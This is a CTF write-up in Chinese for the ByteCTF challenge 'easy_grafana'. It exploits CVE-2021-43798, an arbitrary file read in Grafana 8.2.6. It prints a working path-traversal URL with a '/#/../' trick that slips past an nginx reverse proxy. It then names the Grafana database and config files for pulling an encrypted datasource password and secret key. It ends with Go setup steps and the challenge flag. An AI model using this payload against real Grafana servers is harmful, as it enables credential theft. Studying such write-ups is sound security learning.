本文已参与「新人创作礼」活动,一起开启掘金创作之路。
easy_grafana
题目描述You must have seen it, so you can hack it
涉及知识点
- CVE-2021-43798 Grafana Unauthorized arbitrary file reading vulnerability
- Grafana反代400的绕过
解题过程
首先看到
他的版本信息为8.2.6,搜索发现存在任意文件读取漏洞
但正常是读取不到的,应该是开启了反向代理
之后根据知识星球的一篇文章学到了如何绕过
昨天在和chybeta打算看看实战利用的时候,发现这个是最大的鸡肋就是400,一般外网能访问到的,基本上都是反代nginx出来的。
其实可以通过在前面加上/#/../,让nginx不处理#后的锚点。(和chybeta交流了一下,发现星球发过了这个tip。 t.zsxq.com/jeII2Zz)
最后成功的利用: /public/plugins/alertlist/#/../..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f/etc/hosts
再根据github文章,搜索/var/lib/grafana/grafana.db文件发现密文
"password":"b0NXeVJoSXKPoSYIWt8i/GfPreRT03fO6gbMhzkPefodqe1nvGpdSROTvfHK1I3kzZy9SQnuVy9c3lVkvbyJcqRwNT6/"}
和/etc/grafana/grafana.ini中的
secret_key
SW2YcwTIb9zpO1hoPsMm
开个go环境解密就行了
go环境安装(感谢web0师傅的帮助)
当时执行脚本到时候报错了
第一步
go env -w GO111MODULE=auto
周再运行,发现
AESDecrypt.go:12:2: cannot find package "golang.org/x/crypto/pbkdf2" in any of:
/usrb/go-1.18c/golang.org/x/crypto/pbkdf2 (from $GOROOT)
/root/goc/golang.org/x/crypto/pbkdf2 (from $GOPATH)
然后
cd /usr/lib/go-1.18/src
mkdir golang.org
cd golang.org
mkdir x
git clone https://github.com/golang/crypto.git
安装完毕就可以执行脚本了,需要改一下里面的值
ByteCTF{e292f461-285e-47fc-9210-b9cd233773cb}